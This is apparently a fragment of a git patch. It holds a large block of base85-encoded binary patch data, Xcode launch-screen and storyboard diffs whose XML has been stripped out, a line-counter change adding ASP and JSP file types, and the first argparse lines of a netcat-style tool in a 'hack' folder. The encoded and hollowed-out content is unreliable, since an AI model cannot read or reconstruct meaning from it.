zdjo;P0~W#|`U7m9(Qna*>9^^3=y&P&Xndx>jleqyyozf49TWN@-VA+rOb|FKTr$B7yr(-EgH``k`X@p4|AN402z+eO)F(xL{mSdz-{{}z zKM=qaKY_p}x9Ht|HG4-j*w-kbMg8~b|3v?}-D2hVh47`Eq5T*6@Mh%iN8U=+TkrA> z(0Gu$K`#>BjhBRFN?fs6O56}Q&B?J1Gf;XT70K7$M@2?O&a{*YNjxOpI7%<^lz1WV zH3DaPBt8-xvHb>tZ#myFf*E1CmvpbYI3Vrs{R{fIFA0|58wfp;;gS&uoJHVVk0ewQ zhQN0S{LT4RWj5ieM0{7)ICy(YMoMDtu)QU*M6e_tf%81o|Kx6pYfZw@14%Lh7y82o zl2H;I_q?YqDA7o?l59y1{$C#0g~0a+Ttwh90#}89Z(_d{>n`WE&N^J~BbK4c#eBMD zdBu`)!s+&EElGt$C|W}R`wu?|^;$RiFp1%6=FM;Vi{}Oju4JsFmTttSLofn25cm-b zE@tUSag7c5mW{+H882y+Oh5p8dpHGh4dJR#i_IX(p{DYOHAWjpm9UB6e)po?z9Zb~ zc(<&kLo$VDR;L8R`Wb;=dL&aN(-63hz^^`{h{Ou$&>ipIEsZ9o1-5g2oa=(a|0h8H*v_tQs5=o zDS7dZ;`x%~WxkjYK@vgAN<7aW6v_#sW1{0`4wlc?CHr~Biscj9At(_Qt3^N$@dEmm z81rzw*RPkpb;2{EFiwKDpDEL(1 z`x1fgB0Im~3I8pE4!mY`y;U<>@$cLqw-N#- z1PcKZ%7iiDOay`+2znvtji67z5HKS}UU>?<`Y#FrlPUuC6#)N(5ZrZ6K{^->W(cE2 zFz{ccgUMrxapfA5&lE6)Oc8>3TMS2V1cD)(m=dOx2xiI<3`G!Mu|_b7^VR1Y#|yLZVY z4!(qkmB&L~AbTdr|j_hVy5RBw8x=X zU=)J!{bx8cg_(|n(9Be38iLUX#`G}vF*6X1MKJCjDl_`2jU(mf2M5TRxy*uF;4WnD zM=$}wM4Z*{CwySWvI$n>mM}~CMLmRIayJpohv)E`a7=`MGy|LH*oxsfXCc7~#`^LX z^C+{HAC3=#QQgdA2&VlLO*Zf}*~oMwn2w-wfF_%mt+(L5joFT127;LwcPv$+dw@gq z+pKVZhI#ImaXXpk5mX_V#XCt3c;w*lP+-RB*R96C#Jn=V&^-uh_}3Y5=7!nFBl;Ti zI)Zr9xvcp_nD7w>wZ+|p2sH~xM5bkPcUC%70G3@e#gSJ(D??-8yVB56KS6_|&R7yG#iIRR?+(^- z?Z)daUKk+4$uM z1J3*6@`s>1_uwOn*r&%YM-;X2Wi5Q_;SPX=5?y0oACEzOn)$dg?>>k@t~&#;C^vzZ z7+XG&afeCzBPTp6f^f5}aDTSAkC5yT)&&!iwPWpB2Uf;9vQDfsf>;-iL(qU=9fI`; zHXvx+%DNK4>`<(ggDH~rL{JDaPsJ(&yDgZQ(|MWWYdrepr=M=TF!fg;^kvtvx*goN zfET*H+$|rjza0n;S~cO^{_Sx1n00@5ekw8G>OHvG3Kb#dZ9RQXV@qqhQH34XS{c7% z`r-8twCn^+ywxm3D{vXWF*ca6WrwpP*bp|fzx2YY<^sV+1g9W~uXo$B;cNseufi#2 zvruJ#;DjtfghY?HCEY#bYp;6wx` zA=uQ*CbCIvGJ?$rwj+GA=cc6s0tbx?b;YJ415fyav^C}vA6Fnicy!t^n#W6SV>a$+1?$?DlE{Dc<{ z8{&9Dn;GMniHp=)#J9OH-SY9i6W+q&dCUV3?PV+|}0&a?Gw18Zc*V{-m;CCm_vHsXS|b`fn8JF$;V zJ*=tkg#fmR#k6(rU(2nVqL*!9Tlv-8y~`a-TaF5{Jedta5ZfnHEaHk$p3tu_rm)j+ z%_2J$!TY+|=?KoSoVB7EmTBe_Efx`-#m**#ipP6U{FX6u*(HQxJ3Eh^&n{pWviGx# z*az6f?1Ko-Mvy}gAvg!Yxd_ffa6WKonzPeI)pQ*J)5JbzG-eTXyH8<>G_H7os@GB8qh2ZL5_B|{qA0UV`+4$&M z!z0eKOt4YMhAv|czIkFYG&N1Ld{-5hi{>T2yuQ?5UkIB|TBxTQ>pS`K zO?69`sl8RuQJD=mKWN5B2VY-?&km6xALDy)d7E->0O&>8u%v;ZvGf!;cvuiq40l&mf^X;O_pW6NGv(QMm0;DvK$A@eG z2oV}@6^T-BiNp7I=-Z1H4*tmUMbhjQ1be&LpAg*iPYUNc`y00D*Mjir_ZfD5dcK@fkJ-LF|Fx|2~ObT>OGp1I}`q zYs6bI!X5iQCk@~ zcPrbIa4Cl+v@P|P`t}n<>WAPn+)WEQfl~fTmbiQ=cHDRLM{uN}(s2BVo`sj&EyXVO zvjd+-N~8Es9XK-8Enq+JDNc%Qj6UK^6A|1wFjtB+Rn+a4$FCvKb$;$}7vQ?T*1WI%Hs&r|A6#F-OczN85*YnSE_Wk9@-)h9iRB}{h-)|OH)Ju&6Y#Wc@{sFd`q!X>#)+}ws+!x~- z(l!KfQc^_B3=(>!9nwx|7lH>7d<(&M`h8*PH0ca$=TKBi(HwZBK7Tv~n2 z8}#Vn|F#%F@CU5RjitTPP33}+3KhrhL;w+v-ycsV(&@AGMfx}V>anfFNir0_bnGed z!*3l2OGZf2aHgeQvIxIoyhO4TzheA|WTj-aWDS1J_;LK6@e7idB(F&J;unn%;5UsA zOWu`yfZsJfD*0G)kzsLsbR?r;rs0=}pJWc<;KQ%XZ}>%FH+C57!Fu8Mg#GYa!a>*v zO2Dp13VumA9Xk^$>_}+wd%`oYCGi!0-8U5r(njfL((k0-OD{=(lwOryvmtC)8y6cl zn_)H{Ht9CmHaeTpHgz_QHf=UDZD!fbwm~)z*le`fYO~8`zs(_=!#3~Od}wpT=9tZK zn=>}w+MKgFZ>zN}v#qez+g97|u-$9>w(YyN@7sQ8d&Ksb?Qz>Pw%^*GvpsM7z3nC2 z%eGgB3>gwKWc-lnLpBb1dB}kwZwz^J$Ol7C3^_IAn;~b1{50g+ke`QKw(ZIo&zaS>>#D);dpc zUgZ3g^KR#toL_O?>-?tkA?L%+r=2f3|LAkQXfuAJ)}*Tt?&T$j2ocYVZl zrR#dvCtY{BzUcb0>mJv`u5Y`((8#&U4L`^!_C&s&dtHi z(aqV-)orMoyPKz*w_BK7gqy-G(rupGa<@m^R=TZryX5w}+YPrr-Toe$H&j2gdg$n( zV~0LJ^!1?!h8`SxXjss&s9`a~;)W#*dwAG}Vco-ehix8q-JNu&-5GbO`vmt+_gU_o z`yBUq?hD+Px-WNs#C@gvYWFqnyWCH?U+{4B@bC!q2=hqr$na2lWO-;jvOP*XbROj% zl^#_dH6C3ak9$1nam?d$kFy>>dED^$)8lVX;7NK8@wE4pc{+Kzc)EG|dWL$&d!~D4 zda69to?6dh&r;7a&k9eyXSHX&XS3&Y&$*uSJr{Z|@?7k>!gH19qn>L$*Lkk@eA)9W z&&ytJUcO!-UU6P&UKw6WuPiT(SCLnVm(Hu)tJ15=tIlhZ*Hka$HP>st*FvvFUJrY% z@LJ{dsMlJrbzYmjp7Gk_bo0HMO?peb zS#KNfq2BJ^p5ETx?cTG!@ArPd`$6xAyq9^e@qWzvaqkV@-QK<4PkF!K{f75p?{~c4 z^FHEz%=@_aC*I$BpYuNN{k>0|kJ2a0N8^+2v(9I`&r3e9`0VxB=kvPH0iT0DhkTCv zeByJ`=akPEKBs-Y_W8!=tk2)Rw!S{T5x(iZCBC)36MQH6Hv6{vF7RFI`>^i{-&MX( z`@Zk{neQpz&wao2z36+{_loZ|-(P%x^^^KJ`MLTH^>g?0^b7I}^-J_q`)T~NemQ;> ze)WDvzeYck-z2|gzgE8)ezW{Izd3&M{1*7#@ArV;<9;vtz2kSn?_0m0{GI$g{k{Bs z{KNef{*nGM{&D^Z{yF}o{yP71|FQnH{s#XR|5pDt|91b`{+vJZpXA%bW1^<`){|vAR7!qI~APX29Fe#uTpetZ%!1RC_0rLYE20Re3Bw$&< z!vU`bTnh9I%nB?CEDNj%tO~3N91}P>aC+eEKomGPaDL#!fvW@81U?qHF|a3aQ{a}s zU4d@}UJU#>@XsI^-kH-i2O2Ek;oO|WC|@L+jxd~ikZnBbYgj|6WF?hft= z-W2>?@aw^E1Rn~1JNUie4}*^e9}oUE_`BfmgMSFV5_~QAdhqYTH-?7}FB?90_|D;H zMmUa09-$pkHllJw^@uSe#*L^SF@A)3MAwL^Bkmh9YXllGZ^VKTyGDF5;Jq&%c9q&}n}WPFG@q$8v=WJ<`qkoh4CLhcV)8L}#5b;z2KEg{=Oo(kC!vNL2? z$l;J9AtypkhI}6KWyr;lDqEzfnnGJb+d|Eu zouRWr9|_$U+8x>xx+(Oz(4C>rhwcvD7rH<6VCbRHPeMNn{UY?M&~L(`!&1Vs!wSNR z!*pT#u$r*3VdKI&!{&s|4VxFXAncK_Rbgww)`e{d>kiuy_CnYjVJE^)hJ7A(I_yl? z*|76r7sD=xT@9zgnQ)u%A>sDnj^QrhL&H77y~BOOL&Iak3&N|y+rsCEuMOWB{%-hJ z;a^7tM2v_~L?lM2Bl07PB1$95BSuHmM$|i^0(z5$&blT$WO|@l7AyVC%+)S zDF0c0U4By`Rmc?13O9wj!cP&X7_JCagezhd35qmDo}yGyuFxxL6m<%tVuE6lqFK?U zn5kHxcqsDEC?ZN4H8jd6DmW@SDm_XWrH;yu%8M$DDv25!Wr%8sYK)o~)g09p)gHAv zYH!rJXj!y-v}bfsbVPJqG=IM{JGvlxboAJ0V{}XOG*7~>q{7BeYkYRt?SE@p1b{V|JU9*S8OvnuBCm@P3o zV)n-Dk2x6gR?K@bAI2Pw`8ejYn6G2LkGU30#L}^BtZl3;);ZQKc37-`Y*=heY<6sJ zY<_HEY;kO9Y*}n&Y<29I*m1FSv8}O_W6iN$v2VqG9D5@6)7VpSesS`+k#YE@dR%6l zDo!1j9rtkDhPY?qo{QTR_hQ^Daj(X`9`{Dv(YWJrpT?bv`y%eExNqXl#(fueJ>Da} zCjNo=r{WLCe-r;#0+V2qV3**K;FS=S5Sx&Ykeo0oAtOPRph?I{$WJIrXh>*Gn3&L< z(3W6M=t`KDFe71h0!o;hur#43;n{?*60Ri%B#ul}CYB^lOq`LpC~;$AZ{n83?TJq% z?nvC3xI6Ks#65}o689&5ns_Sl%fzn}zfJru@j~LI#2*uXO8h19*TmnGs3h;C*d%3A zRZ>IJjHHK?b|<}^^m)<`$uQX~IUzYYIW;*wS(#ju+>ksec}nuyQz?I>GO0GHLsA`5-BJTnho^?5hNniSrle-4=A{;<7N>4beJ1r_>f5QOQ_qib z9yM%~YSidawWAE98b*yD)jFzuROhHEqqtE|jM_2kG!9vOz%$LoBmPyr3{-4 zw+vNAamJX8+6+TRJ$|mFF~gM6l`%DAdd7^5*%>HfZpQqKr!w|u9L#tt~KN(>c>EGca>_W=LjuW^`ssW_D&?W?^P=rYW;G z^V!UunY%Jy%zQobjm$%thcmyFRjH~pl~$FjDo_=vN>n=4Xq8blT{Tn1 zsphKYs}`!3sn)30sWzy3RGU>>Rl8I#s$NmOsyeAUr@ElJsJg7Wkws*YS&}TyxaLYN)nV+p8Vb&gw9Af;vr| zsm@Ys)rIO3wN723)~gNb26dy_r0!DBSKqH*tbRznT)jfQTD?}iUHz1LhkB=axB4aZ z9`&p0*VON+kE=gXpH!bxf1y67zM#IOzO25Y{z-j9Lu))V-Woqmpk}xxL=&Y+){N3* zXjB@FCRDfwxtaxowh)XEe`gp4Ysfc~$d{<~_}anj@Oe zG+$`G(wx!!p=Go-T05;w>#TLv255t|A=+@QLK~?arOnc6wYk~?ZJD-GTcsVX9jk5B zPSiGQTeUN^i?t7FmupvOS8La5AJ=Zw?$GYk?$*Af-J{*7eO-G%dr*5s`MEO?lh%p32*i_gvndyn}g1 z@=oNP%=%4FCzRSCicO#$5cg%OmADZux@15_PACfQ6kIawBkIPr)Yx8sS3-U|z z%k%a5)%i8~4f&JvyYi>y&&Wsl^YRzwFUo&7e?$H=`OoF=%6~EcmHb!pU(bId|7ia4 z{7>^w<$sy~b^f>c-{oH@kQPJ~WE6}mm|f6Q@Or`f1)mq3E;v(gw%~lh#e&NPR||DUwpCna`DyTYsEK8>`Por!b;*xR3#-PRVAZK zYD)|y4JC~wEhVVrp^{Z4Yf9FYY%Y1aWM|16B_EW0R&uH2a>4MUyN_Us;E!|)GPU*SQA9PZkk8Xr6OefdH>ymWII;}2O zSD-7_>2&2fTK@Z=)9umi)9u$C)V-y9NB6$&Bi%9G3Ec(VMcrlHRo&0J zUv+=z{?z?l2Fs{2-!es+vaF)aST?h4dD+ut2g**CohkdK>}=WPvLDN?mitC?8oKT^?7SSe{azR-Rd2SYBMND=#mvEUzvfQ(jv>yL?Ug^W`6u zUnsv`{$~YIK~_jA>?&jx&J}JI!zv;x8Y&*DSY5HU;_-?N70*<>S#h-Dbj6v9vlZtn zE>>KwxLWa7C8(q-nM!HpkV^YXS>=ezq)L6|!pbKrU#i?wxvz46<-y8Bm7i9gtvp|O zvGQ`|)yiv?f9M&#Oz*6B)4S`v^uhWNeYjqskJ88JQ}x;Ua(%UajDDQnsGp#pq;J-9 z`X%~@^(*y{>L1r{)c5K)>-Xy4*1xC!P=8c^T>pvwTm5(X@AW_Eujqf$|6K*E=qk3# zw#u%`qsqI=uPU%=cvVPMTvcLKN>y4_W|gX{xT>V8w5qJiP}NptuIj3qRyCt)cGaA! z`Bf{bR#&a5T35BcYGYMz)t0JlRqt0_sb;F>)j8F*)m_y~s#jI7u3l5!Q@yqNiR!1T zcT|5;eY*Nm^^es*RsT}`TlF6`ObuHjt+A~cR^wUYQ{!I~R5QG0WKDccQcY@2dQE0c zVU4b)qNb{5Y>lC&p=Nx|w3<0JOKVottgcyGv!SM^W^>Kfn%y<~YTm8+sODJBiJDV2 zU)FqG^G(h5n!iU68SOaQW%SU|UZZ_S2aFCHtr^`gdgthaqu(C=p%5S>AQXQ}H;X?l J{~dkg{{dLyq}~7k delta 14250 zcma)i2V7HE^#8l}EjD43$Os8Z7y@AvW)cV+f}-L^Mid;NfU8tEZh~0pufPB24@zF{z3<#}&pqdRzURKT`6~EpCz$ER@Gtn6 zvxI?Q(5zIMF^9^f@~C`DPZdy|s2)@?)sN~=4WtH9_0-4I7-}qKq!5Lv3DhUlWNHdE zjhaO*q!v+MQ;Vqvs*!4JW95xV}M zE7Vo$8g-kxL*1qBQTM6G)NAT*>a7vbfB{y(8n^&g;0D}*2j~ENfFF>7FrWlcAQotV z7NmkSkO^`?F6aWfgC3v{=nDpdL0~W#0;)hA7!E!H>uHFPaKoE|}cM1M+8 zr9Y#m(bMS}^i0}B&!gwl3+cslGyM&{nqEV%rT5bN=>7Bo`XGIXK1?5>f2NPpztG3% z{$OnFY*3rh#c>T9~EGCgw+GGqZ)+%4}n{Gdq}_%umcE<}!1IxyoE) zt}{27UzwZCE#^1I_=fqLdCO8PU?EGh49l_{>%e-l5?0CvvSF-}4QHcS6&uecvni~a zO=C0JT(%S2mF>ayVawQZb|5>59nOwmN3x^XkJ;($40a|vi=EAy*g5Ry>=$ecyPRFi zZe)LCx3Rm}-RvHAKYM^Z$o|Y8WiJ@ni|i%#GJA!+$KGcjun*Zs>>uoN_D_!H7>?yQ zj^`XX0q4YdaGsnOC*h=A0H@@_xd<+vOW+bYEtkRRxdN^e*MsZH4de!KgSjDG6<5s- z-mrQG5lEG$WP%v<)`wW@iX~Zyq2HMoA_n%{BnK;zmi|Y zujbeAYx!^ab^HeY2YxfZjo-=d( zZ9KRRNK`E7ZK`t8m^#{aus%+eP^DBERc^|(@$xOB4Bhh!^`!$1Wpy9kS&1mr0ePDW z61$q#*jlLuQ?=%04WX*2YHBDojH*GtNR0fD1WA#93spxAr({$OHHsRIWJrMmkUt7U z!DLyFZI2qqQR5dQdF#v*sYylog_@e0lF^OSM9NT9Zs=b!d~ltBYFpZ;)Kn^T@nRIz zdc$;TMzO#pzc6ojT}kO+Lt157U1fDuNzLdcYC1KOGW5Ibta)=}%J@2CybM(TSMhg2vYC7?u<)Ix2tnBseCE42+JTTGFJ z)JW56ilTkg_y%e}NwIy?0FjEj^u04o< zM2lk74-z%*IeVvso7IRwC2eX%ThwS15(g5^LR26gB%m@>jtu6dB!d(pq(7>#EJbP> z=#uHKGs{Uw1KQ+dS>%}ZyZCm@0|g}NK|au7_i& z8B~K|RA>Vjis~9b4H{0m^0S3XFamftf{|bp8i77Wz1x;s55`i?jo@Q228~3c8i5fY zG#Y(GAar52pJ|^oEY=J|Gr=c~<`{0fYYOMO(N8`{GVu`LI&4YPXd0T1W}um97Mi^j>;OB#F0dQy0Y8Dg$b=T7J z+YABOW(XmTn$S1zw;6KKnrs;4p%rRIOB$gKv_&mw>HBRCA^FIXu%I(^`*0+f20h5u zE<^QF_0*y7cQ(ImxEJ(prxp}Lzt#rJ-a~(~_fUpbf3Wv300zP!un2vN)}l3NO0gi< zlJySy+XwvkbmDihVg1{rhrx&seE~)iUsz}H1>#*p+D64eReK#0VH(+bm;{qy3RFW4 z)WTG>0ez1)q0MM3+KzTEg*uoHGhimng4r+!?M4UD5%dc>gU+K%?ZOlmSi*55!Mbk$ zARz2&Y5jpD-UL&=(CdSqo|c{;O>f=vUEkvDmdEGRUUc%+&-xq8IITkrwFBlsJ<4e!9a@E*L6 zenmIYE%Y0@jqbF-hwu@6Ov&JV_&d6b?xQD!_NNH?z9K(iGD}V&>!e|GcBS!&|b7RdVyY|SLihn+)D9s%EMzi zilbv<+ei^Df3Iho%pf|r{p_K1xLMmUT8aKbe>c(*bR-5825#*PO2=6Y`leWrNemii zn&#u^8umf%rIRfEZ{HD{FwV3IiJq>@cv$zySjn3|z@F7m7uuw>}0tx(8tpbWaSdQ6E#a zua_O&*W6Hyfvu&%!?em*VWi7xL;JN>&;yCf(3KcCHqe7GASDf0u4@Pz;o9km5q-R+&V%v0cXaW)q^ye7(G|+P~@cq9R^A$a8FQLR=^yA# z^p6-QFd#K#AO=Ag1Y^(I43rpzleiXO5P<=4 zz9Ds;dmuwQ-?Q*2Mx<`G~r5!-&cfeiM~Kzq%UC*k3kO%%#3_M$HATH8^C)B{VRQwzD55=-^L&T z11$#W7-VC@UE5e9eUB#eq=~*yKcF9CkcdGN2FXqIWBLjG6oV8D)EJP;$y^d|5BD*p zhM)lYPx|eD+`~`|U`X7gVvvS`j_7eOM5wT02$=jY`HVf|z&K(+f-Mt+EHXAYw1e7> zA#n1)$BLK^3~{*}4016bm6kN+v4yRW5?U;Sl=wK~N7*tGM!J4d=xAunx5NS?W8{6_ z*A;1`bZ;U}3d+!p6szRhJEJmzjM5wd_nBa(BmIyGWx_00D8Qf-F$4ykF(_C@q&^rFH!__VqH_uE0Q$EBNXAl>V9@sigmn85AsI_` zfk{`DY-3a57S19K=-pYeY3e z0BQgx#SGz?Q(8Aos-CpNa@D$`;lO(tyvU4XMlqwAkC=MqV`dC97G1+&AO?dmsKS8A z7=}SD2E#EJXmfTV#b7<`JsR17}DVA^u#IMGGM zoMKKhXPC3}R^~jTxq!iRvpxi939|fwVJ{5(lLibcF&v13`jC*(l~>kP*O+ruu|Pn+ z7gkh{%r6;HIiQ3zn>xjHFs+OI+SrTqbSWv#B{(^_P1W1XQz~>BbBDRh++*%D515C{ zBjz#l1cMnE%*0?82D33RVK4^+l7YU!VD2*JcjlQ{Pon8d<`whWY`rfrSY^@DtmhF7 ze#PLX*@Qg@myE6+Ue~3@U@$Q%p(#ogVH&II=g6~GtTkoJ+EBe&JJ#OxK$R<5hA0f? zVX*Qv>&Oa7rxWYUx{v`jtUHs$dQg*1z2fy=%P=73o_~rJvLZ651M9_lvp%dZD`x#n zd*ci3TQFFF!8aIug~1Y&CM}|$B}Q0MX*IDjR?d>NwGe{_44TNEu|aGw5z~+r{Wfg^GWGPjlqbf@UtObAA2sYAmA;Fhz zWTQx_eIdcGcdNu0O2&p_&}g>E;&<@VHd{h#U-O53F2=X5KPN2p|2%ku)l$9DbxcY+ za%@KGdRE7#n^q@!(ivo;)rsz{N1$vLn{B$C7((ZeR?no6gb$3z<`MI`lV?!9smT~D zHye0`Sr|EZWjhncW$lQ?-yLYO-Pj@%O6o{=Cvs3y&^zfp*lFF)gzQzt_hf>Z>>=3q! zt;S#-2J12Su8AE+Y(Y?IgV`2`2nOy+E-e{t){R8%#`i(Rj$tQ~$Y#f~Mi#M{9mkGm zNi2Pj!4DX0!ho=m%@}OKVCzzL68i}|nVmxRbSk`v!8Q!GW3Us01D5SPh^`TZC#S43 zrdF3#mvpHfURDv>J*$n@vvb)+l=J^xKCoZ^Q$Ap@it=Tu%vFq9IFxZX39t?i^mv6pz#Wo*m=U;7&+glxL@Bfcu z*;qWQOSekHNODFW`7TNhnN5EfgTqK(EO4!FJ(eNB7Zar-xECEUrmYTSe__pMy6iFb zID3LUiNVhp9L0cO+_7f%G<$|&fZ`NOq{@g z+`pUKmhb&BS&!ngG(4(CLXphJKo4yakl>&V#kpp;j3%$AX=XI5D9>^m>!oHc)i9(mQ} zZRdcTkQ23I*_=1$Yrfsi2ZLJ;oEU@OTGwLa{K;B487If!HU{_JuZ0WbI{r)15RTx= z9SrUgMc<>pRBiHVr)VS>^RN42xi}2&WAFgglX8gMnPw;*K45^soH|s5mn-J_aRhCiWAFllml%*ue~rPPEnFE_&KbD=+yJfu zgTF9z!_WuABn)#f%q7+}=E+RjJWmsy7i=oc^EHL$MdY;Y<}i-baxGj9SIgCL!?_XM zNDSU!K-}gnh7^VXL)gNN=04);DJeIGq&i4r=zyUksbipvg(V1zJiPl7Yj&%wtt8KN zI+G_*t>!H>3?|oxa?|*t08{s(a8p8&x3O*JPq-Fm3s>_F$)z$WD<;GnIZLV#bv6)*+2r;*W`vOBda!VtTKrV>{ zD`L_i-9<)j6-T(%|23o?c0|S!&J?GLevcj8M(&4yR=){D0jh7Cc?-AgpS5ns(8gdoP7 zu_=&DsV%81t4Ob`G7Zw-w&U$7Ti$_pI33G?8YZ<=JcN_jh*WJMg|F+4Ek!H&22w2*Y3u zJ2vrR-j62>2*EG{!zffw$~x2Y0*Nypzz6a{d@$dU58*@kFkWd2>J)AyiwF~N7=~h~ z>{d9Mly#&65tLO|)zwrF?qV2Kms&lzy5p>h+*=gwe7`J$V8#DzZ6k zJJXl!M?sr``|+fZY~V{UOlaWCFiiY^;0Hf|uW0Ay{2;!D;2uAiAHrAh)m$w<48vp$ zQ!rFxsPQ)=Ak>ocW4?}fmy{pLk22$3Dse6Hk%eJ4aqi--vjTX;Paua4Jm$yo;|aQ8 zsKYS5iJwRu@)Hcn!35dDOfuNBTYUsSjhx;QHai*h>8l(S+rO-|fB(qXh`4ZNvB2#g zreQ$~QfGya8AGsJ+J>0?9DWh0Rrt?|wsZL}`FZ?&{wsa~zYs%`afrV880s-Bz_1gB zoiQxLu*)){`(nO)%@oa!n2H;ieE^$k^b@;}ydq>g#2z8<2puDo^e%Zh=po^bzmr#kUYRK&2g&O}9ASRG>u1)_tzX)(HoT3sjjfHnjiZf|jf+i~O^(eJn}s&JZ7$l}w7F$- z+vbVQE1SPtDcj4o_iUfp{%QNh_N^VTqwO5*gm(UR;dT*rk#^B`T06a6C%Zzsu69Ls zJ?whfRoD%*8*Eo)H`K1iuFh_R-E6zncK7Wmd%1mzeWrbmeV)DEzNh^F`wII?`$6`j z?6LiL`-%3S*iW&aZ9m8U3;Qqa=i4u^Uuv{pZ-2!8nf)6FM+Z*_KL@FU%t7H0=n(7> z2bu4o1;ke52N5`FxyB&XW+~@eS<1dcK9Zx!*c6=ca2@(XI1-%4)1^oo2 z0^=aTU_q5&q+pU@n&1mTlVG`EtzfHQk6^E0zu=(YnBauql;DiuoZzwGmEbSI-%ga1 zwUdpLos-Z>>?CpWcal4WIE6WdJ4HH0J9Tp!=``P|$*INZ8>i(?>z%%H+URt|>Acew zr)y3(oNhbab-M5L(CJU7H%@PzfpfZZp>tQGbCGio=cUfyId65|?!41^xARZVKRf^8 zeBAk@^J(X^F0@O8ONq;;E^}SxyDV_|+NHsz$>n>O9WFn)>~lHba>(VZ%O#g9F4tUc zx!iWS>vG@awX3~rxNE#?s%xfeSJ$4dy5H_SPM^)9$Q0?{4jG>n?Kla`$l;yGz{t-R159?m_O|-N(DH zbHC={Q8!VUs6sSQ zG*~oDR4W=T8Y%irG*2{N^p$9#Xt`*UXtQXmXuD{qXt(Gm(LT{>(OJ=X(M8c^(N)oP z(XXOgqTfY-h+c?Zb;#?`vqSF=eLM8)u%W}Q4ttCp_IB9sU}2o%<`G$BcxgU>dfeLg3BF8N&Xx#n}j z=cdm?pT|DNr#{bop8LG?1-`bvp1yv*QeT;`!Z*-2!Z*q{#y8G4-Z#;=$ak#oXTIP0 zZuQ;kd&2jk?`7YszSn(!^?l&`$oGlw@4kQdz7SJlYq7i7SL`R2ie+MjSSgMWM~P#^ zapHJ!syJ8NLtH8@7xx!ehzE*m#lyuT#iPab;xR_?B=HRK0`b@4263~vMf{C;gZO*# zCh=xJCqEy*V80N*Fu!oWNWW;mSidyCbiYi$Y`#F-y^`SgKgASfyC2 zSg+Wq*reE^*seIPIHfqNIIp;3@DoCXt8RU|?YHz>$G71Lp-c2QCd<9=IxSZQ%OA z4S~A?4+I_#JQ{dB@Lb@4)Gai}y@9vT?h zF*GbRA~Y(rN9fqlZ$giUUI@JudMor{=!?+TVRV>Hm}8iKm^>^bEGA49mJpT{mK~-K z>m1fKtY=uCuzq2sVb#X4VPUmlBf@ru{T%j7*zvGa${=N|GEteL)G9NS*~&bnUfEUI zTWL^MDeIL;IbJzQIaN7bIZJ6$E>JE}u2$|;?pE$q9#9@u9#tM!o>HDwUQk|A-c{aL zK2$ylPYllr&k4^9F9>f4Umd2@?e-u3?8byzfo)kSL`m^Zi(F>y2MDLG&8Dkq0ACnQ&Go~_T zc+9w%&ttxf`6^~nOhZg_%+i?UF{@(M#_W#S8*?D$aLms!zr>t~IURE@=0eP+nA@=+ z)-hHd8y=exJ1}-^?5x^UA7|_p*C(!DTv=TI zxca#1aSP+t#vP738h1SIRNUFP3o3h+yUJT7R!LQIRe&m5rBO$Bpr);?KliO|VIDOi(3g6DkshB$yHwCp0CrBrHoSXNfZsXC*F5T$Q*s zaed;(#7&7?61OMrN<5Z$GVx5}`NT_!R}*g}-c0;0@mUg;)FCM>$(WN=nKV49F=m(c~Ejy^3dek|FlwK)@l$w-Bn$rE>~Bo z2dk^qb?TAokJKNlKUFVOx2V^sx2Sij_o(-&537%=kE>6rFROo38=t9Ps9&q!sNZUU z#!Vy9NHzW%xh7H*qfu!RH7Od6rmLo}rcBdcQ>huG8KoJcL7MTJ$(pH}>6)3E`I;up zTFnN{51P%I9h%*my_)@+^O_r)$C}?Y&o!?!e`)^K@>)Bsqt;pLs`b;#wSn4>+Hh@@ zHdd?B#%oiJ+5&A?ZFg-iZ9i?9w!gMQJ4`!PJ5@VfJ4-u9J6AhjyHLAayGpxOyI#9d zyGgr6yG?s76{Py7rluC9j!d19IxBTf>fF@%sS8sVr#7XoOq>P7 z-2mNK-BjIl-7MW4-CW%~U5jp+Zl!LGZk_Hs-A>&e-9Ftx-4WeU-9_CM-F4kf-EG}n z-3#4o-5X;%l}@L#>CWjc>8|PS>C*Iw^yu`s^n~=}bWM6%dPaJ;^zP}s()*^Dq?e@| z(ks#jrq4=WpMEa=O@=5VIipiX&x~FfeKH1SjL!Ht!CISUdX(ec{}q#=JPD8 zEXOR*ELm2^tgx(ztmv%7tduNmmM$wJOP^JmRhcz5>(i{cSxd53Wv$IxpS2BhE?8NzEzFsmmFYgL1~_e3mmKXJ*dAoW(g!IW0NM za#rMQ%{iEJDCcm_&p8)zZs**~d6@Gg=UL8+oY%R0u63?mu0yUM*Cp3I*E2URw{z~` z+)r{FbJyf<%-xi`C3k!7-rNJZhjWkS9?QLx=be|4SCChjXY86+l-ECRY+gg&>b#wK zd-C?>9n3qD_e%2GlR6d>0=3C|4km|i}^S6Z{^?4f0F++|5^T<{J-^--db;?x6=#tUV2}>L@(1T^h$lK zK3<=sSL?NU{V07GeUZMWzF1$XH|PiGKhlra&(wde|5E>zezCqu-=hCUzfr$ke^`G^ ze^P%&e^Gx$e_j8p{zU;*U|--|;8x&S;9VdtkQT@aG71a@-xcgDI9G7F;8)9;1qEU2 OC;w;bXWQR`TmJ(|15z;n diff --git a/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib b/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib index df50262..903d8cb 100644 --- a/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib +++ b/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib @@ -1,5 +1,5 @@ - + @@ -12,7 +12,7 @@ + + + + + + + @@ -31,7 +38,10 @@ + + + diff --git a/tools/AceBox/AceBox/Base.lproj/Main.storyboard b/tools/AceBox/AceBox/Base.lproj/Main.storyboard index 8f5b4fa..346d151 100644 --- a/tools/AceBox/AceBox/Base.lproj/Main.storyboard +++ b/tools/AceBox/AceBox/Base.lproj/Main.storyboard @@ -1,7 +1,7 @@ - + - + @@ -13,18 +13,18 @@ - + diff --git a/tools/comm/countc.c b/tools/comm/countc.c index 1b978fc..41c6e35 100644 --- a/tools/comm/countc.c +++ b/tools/comm/countc.c @@ -91,6 +91,8 @@ void count_file(char *path) && !valid_type(path,"py") && !valid_type(path,"go") && !valid_type(path,"php") + && !valid_type(path,"asp") + && !valid_type(path,"jsp") && !valid_type(path,"swift") ) { diff --git a/tools/hack/ant.py b/tools/hack/ant.py index 101edf3..456fcb0 100755 --- a/tools/hack/ant.py +++ b/tools/hack/ant.py @@ -151,22 +151,20 @@ def ParseArguments() : parser.add_argument('-u', '--udp', action='store_true', help='Use UDP instead of TCP') parser.add_argument('-k', '--keepopen', action='store_true', help='Accept multiple connections in listen mode') parser.add_argument('-d', '--debug', action='store_true', help='Debug mode') - parser.add_argument('-v', 